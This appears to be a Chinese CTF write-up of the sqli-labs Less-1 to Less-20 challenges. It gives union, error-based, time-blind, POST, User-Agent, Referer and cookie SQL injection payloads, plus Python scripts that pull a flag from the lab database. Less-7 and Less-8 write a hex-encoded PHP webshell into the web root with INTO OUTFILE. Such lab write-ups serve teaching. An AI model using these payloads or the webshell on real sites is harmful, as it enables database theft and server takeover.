sql注入靶场练习

文章目录

  • Less-1
  • Less-2
  • Less-3
  • Less-4
  • Less-5
  • Less-6
  • Less-7
  • Less-8
  • Less-9
  • Less-10
  • Less-11
  • Less-12
  • Less-13
  • Less-14
  • Less-15
  • Less-16
  • Less-17
  • less-18
  • Less-19
  • Less-20

Less-1

union没有被过滤,先试出来长度。

?id=1'order+by+3%23
?id=1'order+by+4%23

到4时,发现

image-20221201113233720

然后再试出来回显位置。

?id=-1'+union+select+1,2,3%23

发现在2,3处回显。

然后爆破数据库。

?id=-1'+union+select+1,2,(select+group_concat(schema_name)+from+information_schema.schemata)%23

在这里插入图片描述

发现了ctftraining,猜测flag在其中,然后查询表名。

?id=-1'+union+select+1,2,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema="ctftraining")%23

然后查询列名。

?id=-1'+union+select+1,2,(select+group_concat(column_name)+from+information_schema.columns+where+table_name="flag")%23

然后得到flag。

?id=-1'+union+select+1,2,(select+flag+from+ctftraining.flag)%23

Less-2

输入’发现回显错误,猜测不用闭合。

和第一个一样,就是少了一个’

?id=-1+union+select+1,2,3%23

还是在2和3中回显,查询数据库。

?id=-1'+union+select+1,2,(select+group_concat(schema_name)+from+information_schema.schemata)%23

然后就是查询表名、列名,得到flag。

?id=-1+union+select+1,2,(select+flag+from+ctftraining.flag)%23

Less-3

发现’并不能使前边闭合,根据回显的错误可以利用’)来闭合。

在这里插入图片描述

看其回显尝试闭合方式,然后直接使用了上两道题得到flag的方法。

?id=-1')+union+select+1,2,(select+flag+from+ctftraining.flag)%23

Less-4

还是继续查看报错。

image-20230401160103161

去看了一下源码。

在这里插入图片描述

很明显,当我们传入1时,语句会变成

$sql="SELECT * FROM users WHERE id=("1") LIMIT 0,1";

这时,如果想要闭合,就需要")来闭合前边。

?id=-1")union+select+1,2,(select+flag+from+ctftraining.flag)%23

Less-5

第五题稍微的不一样了,输入1后发现并没有回显。

在这里插入图片描述

猜测本题是无回显注入,尝试一下报错注入,发现成功。

id='and+(extractvalue(1,concat(0x7e,(database()),0x7e)))%23

然后一步一步得到flag。

?id='and+(extractvalue(1,concat(0x7e,(select+group_concat(schema_name)+from+information_schema.schemata),0x7e)))%23
'and+(extractvalue(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema="ctftraining"),0x7e)))%23

然后想得到flag。

?id='and+(extractvalue(1,concat(0x7e,(select+flag+from+ctftraining.flag),0x7e)))%23

然后会发现,得不到完整的flag,现在怎么办,可以利用字符串截取函数mid。

?id='and+(extractvalue(1,concat(0x7e,mid((select+flag+from+ctftraining.flag),30),0x7e)))%23

或者用函数substring来截取。

?id='and+(extractvalue(1,substring(concat(0x7e,(select+flag+from+ctftraining.flag),0x7e),25,35)))%23

还可以让其反向输出,函数为reverse

?id='and+(extractvalue(1,reverse(concat(0x7e,(select+flag+from+ctftraining.flag),0x7e))))%23

然后自己写了个脚本。

#Athor: f0njl
import requests
url = 'http://b3e96324-c627-4bbd-8c0d-8d93b7ab5679.node4.buuoj.cn/Less-5/?id='
flag = ''
start=1
for i in range(1,3):
    payload = "'and+(extractvalue(1,concat(0x7e,mid((select+flag+from+ctftraining.flag),{}),0x7e)))%23".format(start)
    start+=31
    re = requests.get(url+payload)
    print(re.text.split('~')[1].split("'</br>")[0],end="")

image-20230401160449491

Less-6

继续看报错内容

在这里插入图片描述

很明显可以用"来闭合前边。

还是脚本。

#Athor: f0njl
import requests
url = 'http://b3e96324-c627-4bbd-8c0d-8d93b7ab5679.node4.buuoj.cn/Less-6/?id='
flag = ''
start=1
for i in range(1,3):
    payload = '"and+(extractvalue(1,concat(0x7e,mid((select+flag+from+ctftraining.flag),{}),0x7e)))%23'.format(start)
    start+=31
    re = requests.get(url+payload)
    print(re.text.split('~')[1].split("'</br>")[0],end="")

Less-7

第七关,发现sql报错不回显报错信息,无法知道其闭合方式,只能自己试。

最后在

?id=1'))%23

这时发现正常回显。

在这里插入图片描述

但无法回显信息,试一下报错注入。

但是给了提示use outfile,本题我用的本地靶场。

?id=1%27))%20into%20outfile%20%27../../../WWW/www.sql.coom/sqli-labs-master/Less-7/1.php%27%20lines%20terminated%20by%200x3c3f7068702061737365727428245f504f53545b6c657373375d293b3f3e%23

传入本页面下1.php木马文件。

image-20230401160930384

看一下本题源码有何不同。
在这里插入图片描述

首先, i d 布局变了,变成了 ( ( ′ id布局变了,变成了((' id布局变了,变成了((id’)),这就需要我们去猜测其闭合方式。

然后又发现了本题将print_r(mysql_error());给注释掉了,无法打印出来error的信息,进而无法进行报错注入。

所以只能用outfile来写入木马。

Less-8

发现了,都不会回显了,但是sql注入异常和正常回显情况不一样。

正常:

[外链图片转存中...
异常:

image-20230401161206128

本题还是靠写入shell木马。

?id=1'%20into%20outfile%20%27../../../WWW/www.sql.coom/sqli-labs-master/Less-8/1.php%27%20lines%20terminated%20by%200x3c3f7068702061737365727428245f504f53545b6c657373375d293b3f3e%23

在这里插入图片描述

Less-9

和上一题一样,无任何回显,并且无法写入木马文件,尝试用时间盲注。

脚本:

#Author: f0njl
import requests
import datetime

url = "http://ed0b2644-3ae5-44f3-b1dd-65fed84f02c5.node4.buuoj.cn:81/Less-9/?id="
flag = ""
str = "0123456789abcdefghigklmnopqrstuvwxyz{}-__"
for i in range(1,50):
    for j in str:
        #payload = "1'and if(substr(database(),{},1)='{}',sleep(1),1)--+".format(i,j)
        #payload = "1'and if(substr((select+group_concat(schema_name)+from+information_schema.schemata),{},1)='{}',sleep(1),1)--+".format(i,j)
        payload = "1'and if(substr((select+flag+from+ctftraining.flag),{},1)='{}',sleep(1),1)--+".format(i,j)
        time1 = datetime.datetime.now()
        r = requests.get(url + payload)
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec >= 1:
            flag += j
            print(flag)
            break

还可以用二分法,加快爆破速度。

Less-10

先尝试了单引号来闭合,然后时间注入,没成功。

最后尝试了一会,发现"可以成功闭合。

脚本:

#Author: f0njl
import requests
import datetime

url = "http://b3e96324-c627-4bbd-8c0d-8d93b7ab5679.node4.buuoj.cn/Less-10/?id="
flag = ""
str = "0123456789abcdefghigklmnopqrstuvwxyz{}-__"
for i in range(1,50):
    for j in str:
        payload = '1"and if(substr(database(),{},1)="{}",sleep(1),1)--+'.format(i,j)
        #payload = '1"and if(substr((select+group_concat(schema_name)+from+information_schema.schemata),{},1)="{}",sleep(1),1)--+'.format(i,j)
        #payload = '1"and if(substr((select+flag+from+ctftraining.flag),{},1)="{}",sleep(1),1)--+'.format(i,j)
        time1 = datetime.datetime.now()
        r = requests.get(url + payload)
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec >= 1:
            flag += j
            print(flag)
            break

Less-11

从GET型注入变成了POST而已。发现可以回显,并且登录账号密码为admin,和第一题一样,直接union注入就好。

在这里插入图片描述

payload:

uname=admin&passwd=a'union+select+1,(select+flag+from+ctftraining.flag)#&submit=Submit

Less-12

发现闭合方式变了,先报错看一下其闭合方式。

image-20230401161824418

所以闭合方式已经很明显了,是")

payload:

uname=admin&passwd=a")union+select+1,(select+flag+from+ctftraining.flag)#&submit=Submit

在这里插入图片描述

Less-13

闭合方式
在这里插入图片描述

报错注入

payload:

admin') union select updatexml(1,concat(0x7e,(select user()),0x7e),1)#

image-20230401162043791

Less-14

闭合方式

在这里插入图片描述

payload:

admin" union select updatexml(1,concat(0x7e,(select user()),0x7e),1) #

在这里插入图片描述

Less-15

脚本

import requests
import datetime
import time

url = "http://2d0283d0-a8c0-4e26-853a-00ba3f7abb57.node4.buuoj.cn/Less-15/"
flag = ""
str = "0123456789abcdefghigklmnopqrstuvwxyz{}-__"
for i in range(1,50):
    for j in str:
        data ={
        'uname': "admin'and if(substr(database(),{},1)='{}',sleep(1),1)#".format(i,j),
        'passwd': 'admin',
        'submit':'Submit'
        }
        time1 = datetime.datetime.now()
        r = requests.post(url=url,data=data)
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec >= 1:
            flag += j
            print(flag)
            time.sleep(1)
            break

Less-16

脚本

import requests
import datetime
import time

url = "http://2d0283d0-a8c0-4e26-853a-00ba3f7abb57.node4.buuoj.cn/Less-16/"
flag = ""
str = "0123456789abcdefghigklmnopqrstuvwxyz{}-__"
for i in range(1,50):
    for j in str:
        data ={
        'uname': "admin\")and if(substr(database(),{},1)=\"{}\",sleep(1),1)#".format(i,j),
        'passwd': 'admin',
        'submit':'Submit'
        }
        #payload = "1'and if(substr(database(),{},1)='{}',sleep(1),1)--+".format(i,j)
        #payload = "1'and if(substr((select+group_concat(schema_name)+from+information_schema.schemata),{},1)='{}',sleep(1),1)--+".format(i,j)
        #payload = "1'and if(substr((select+flag+from+ctftraining.flag),{},1)='{}',sleep(1),1)--+".format(i,j)
        time1 = datetime.datetime.now()
        r = requests.post(url=url,data=data)
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec >= 1:
            flag += j
            print(flag)
            time.sleep(1)
            break

Less-17

提示密码被重置了,uname没法继续注入,转到passwd了,首先尝试让其报错。

image-20230324190508253

成功报错,利用报错注入。

在这里插入图片描述

less-18

登陆后发现回显UA头

在这里插入图片描述

猜测为ua头注入

payload:

'and updatexml(1,concat(0x7e,(database())),0x7e),1) #

Less-19

尝试登陆后发现

注入点在Referer。payload和上一个一样。

'and updatexml(1,concat(0x7e,(database())),0x7e),1) #

在这里插入图片描述

Less-20

登陆后回显。

在这里插入图片描述

明显的Cookie注入。

payload:

' union select user(),database(),@@version #

image-20230401155842185
ad:

'and updatexml(1,concat(0x7e,(database())),0x7e),1) #

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/6084.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

JVM与Java体系

JVM体系跟着尚硅谷的康师傅学习 JVM内存与垃圾回收概述 除了大部分的Java开发 人员&#xff0c;除了会在项目中使用到与Java平台相关的框架&#xff0c;与API&#xff0c;对于Java的虚拟机了解甚少。但是也需要我们知道如何处理OOM&#xff0c;SOF异常&#xff0c;除了…

Java实现一个简单的东南西北中的面板

目录 一、前言 二、代码部分 1.代码 三、程序运行结果&#xff08;面板弹出&#xff09; 四、涉及到的知识点代码 一、前言 1.本代码是我在上学时写的&#xff0c;有一些地方没能完美实现&#xff0c;请包涵也请多赐教&#xff01; 2.本弹窗界面可以根据简单的要求进行…

字节跳动CVPR 2023论文精选来啦(内含一批图像生成新研究)

计算机视觉领域三大顶会之一的 CVPR 今年已经开奖啦。 今年的 CVPR 将于六月在加拿大温哥华举办&#xff0c;和往年一样&#xff0c;字节跳动技术团队的同学们收获了不少中选论文&#xff0c;覆盖文本生成图像、语义分割、目标检测、自监督学习等多个领域&#xff0c;其中不少…

Linux 中yum获取的的详细步骤

**1.yum的作用 可以帮我们管理RPM包 可以帮我们安装软件&#xff0c; 如果软件有其他依赖&#xff0c;会帮我们安装依赖后在安装软件 类似于Maven 2.yum命令 search 查询命令或者软件 info 查看包的信息 list / list jdk 查询安装的rpm包&#xff0c;或者只查询某一周 3.更换yu…

【Paper】2016_基于LQR的多智能体系统协同最优控制_姚蒙

姚蒙. 基于LQR的多智能体系统协同最优控制[D].华南理工大学,2016. 文章目录第四章 线性离散时间多智能体系统协同最优控制4.1 引言4.2 离散时间多智能体系统一致最优控制4.3 离散时间领导者-跟随者系统跟踪最优控制4.4 数值仿真Ref第四章 线性离散时间多智能体系统协同最优控制…

HttpRunner3.x(7) hook函数

目录 调用 hook 函数 测试用例层面&#xff08;testcase&#xff09;-3.1.11不支持 测试步骤层面&#xff08;teststep&#xff09; 编写hook函数 请求request预处理 返回 response 处理 HttpRunner 从 1.4.5 版本开始实现了全新的 hook 机制&#xff0c;可以在请求前和请…

JavaSE——方法的使用

目录 一、方法的概念及使用 1、什么是方法(method) 2、方法定义 3、方法调用的执行过程 4、实参和形参的关系 二、方法重载 1、为什么需要方法重载 2、方法重载概念 3、方法签名 三、递归 1、递归的概念 2、递归执行过程分析 3、递归练习 一、方法的概念及使用 1、…

Java 你还在用lsit.contain做去重? 你是故意的还是不小心的?

前言 最近又是一轮代码review , 发现了一些实现去重的代码&#xff0c;在使用 lsit.contain ...... 如&#xff1a; 我沉思&#xff0c;是不是其实很多初学者也存在这种去重使用问题&#xff1f; 所以我选择把这个事情整出来&#xff0c;分享一下。 正文 首先是造出一个 List&l…

Linux基础教程

Linux 目标 ​ Linux概述【了解】 ​ Linux网络连接三种模式【了解】 Linux目录结构【掌握】 Linux常用命令【掌握】 Linux操作目录的命令【掌握】 Linux操作文件的命令【掌握】 Linux的Vi编辑器【会用】 Linux打包与解压命令【掌握】 一、Linux概述 1、Linux的概述…

动力节点王鹤SpringBoot3学习笔记——第五章 说说Web服务

目录 第五章 说说Web服务 5.1 高效构建Web应用 5.1.1 html页面视图 5.1.2 JSON视图 5.1.3 给项目加favicon 5.2 Spring MVC 5.2.1 控制器Controller 5.2.1.1 匹配请求路径到控制器方法 5.2.1.2 RequestMapping 5.2.1.3 控制器方法参数类型与可用返回值类型 5…

HashMap底层数据结构

TreeMap TreeMap的底层是红黑树&#xff0c;是自平衡的二叉查找树。 在查找元素时会从左子树或右子树查找&#xff0c;和元素一个一个进行比较&#xff0c;对于大数量的查找的场景TreeMap不适合&#xff08;HashMap解决了这个问题&#xff09;。 TreeMap的好处&#xff0c;是…

隐私计算 FATE - 多分类神经网络算法测试

一、说明 本文分享基于 Fate 使用 横向联邦 神经网络算法 对 多分类 的数据进行 模型训练&#xff0c;并使用该模型对数据进行 多分类预测。 二分类算法&#xff1a;是指待预测的 label 标签的取值只有两种&#xff1b;直白来讲就是每个实例的可能类别只有两种 (0 或者 1)&…

两个数组的交集(力扣刷题)

给定两个数组 nums1 和 nums2 &#xff0c;返回 它们的交集 。输出结果中的每个元素一定是 唯一 的。我们可以 不考虑输出结果的顺序 。 来源&#xff1a;力扣&#xff08;LeetCode&#xff09; 链接&#xff1a;https://leetcode.cn/problems/intersection-of-two-arrays 说…

人大女王金融硕士——站在一个更高的起点,拓宽自己的眼界

俗话说&#xff1a;“视野所及&#xff0c;心之所止”。做任何事情&#xff0c;最重要的是眼光。眼界不一样&#xff0c;就会有不一样的人生。站得更高才能看得更远&#xff0c;看得更远才能收获更多。人民大学与加拿大女王大学金融硕士项目为我们提供在职读研平台&#xff0c;…

Python机器学习:最大熵模型

信息论里&#xff0c;熵是可以度量随机变量的不确定性的&#xff0c;已经证明的&#xff1a;当随机变量呈均匀分布的时候&#xff0c;熵值最大&#xff0c;一个有序的系统有着较小的熵值&#xff0c;无序系统的熵值则较大。 机器学习里面&#xff0c;最大熵原理假设&#xff1…

【HAL库】HAL库STM32cubemx快速使用

文章目录整体框图一、基础工程1 新建工程2 配置RCC3 配置SYS4 工程设置5 生成代码6 keil设置下载&复位二、必备外设1 目录规范2 LED2 RTC3 USART4 KEY三、其他外设1 OLED&#xff08;模拟IIC、模拟SPI&#xff09;2 BH1750光强检测3 MQ2烟雾检测3 MQ4甲醛检测4 DHT11温湿度…

基于蓄电池进行调峰和频率调节研究【超线性增益的联合优化】(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5;&#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。⛳座右铭&#…

第04章_运算符

第04章_运算符 &#x1f3e0;个人主页&#xff1a;shark-Gao &#x1f9d1;个人简介&#xff1a;大家好&#xff0c;我是shark-Gao&#xff0c;一个想要与大家共同进步的男人&#x1f609;&#x1f609; &#x1f389;目前状况&#xff1a;23届毕业生&#xff0c;目前在某公…

该不该放弃嵌入式,单片机这条路?

本文几乎浓缩了我从业10几年的精华&#xff0c;内容涵盖我转行、打工、创业的经历。 建议从头到尾不要错过一字一句&#xff0c;因为字里行间的经验之谈&#xff0c;或许能成为你人生重要转折点。 全文3700多字&#xff0c;写了6个多小时&#xff0c;如果你赶时间&#xff0c;建…

【17】核心易中期刊推荐——深度学习 | 遥感图像处理

🚀🚀🚀NEW!!!核心易中期刊推荐栏目来啦 ~ 📚🍀 核心期刊在国内的应用范围非常广,核心期刊发表论文是国内很多作者晋升的硬性要求,并且在国内属于顶尖论文发表,具有很高的学术价值。在中文核心目录体系中,权威代表有CSSCI、CSCD和北大核心。其中,中文期刊的数…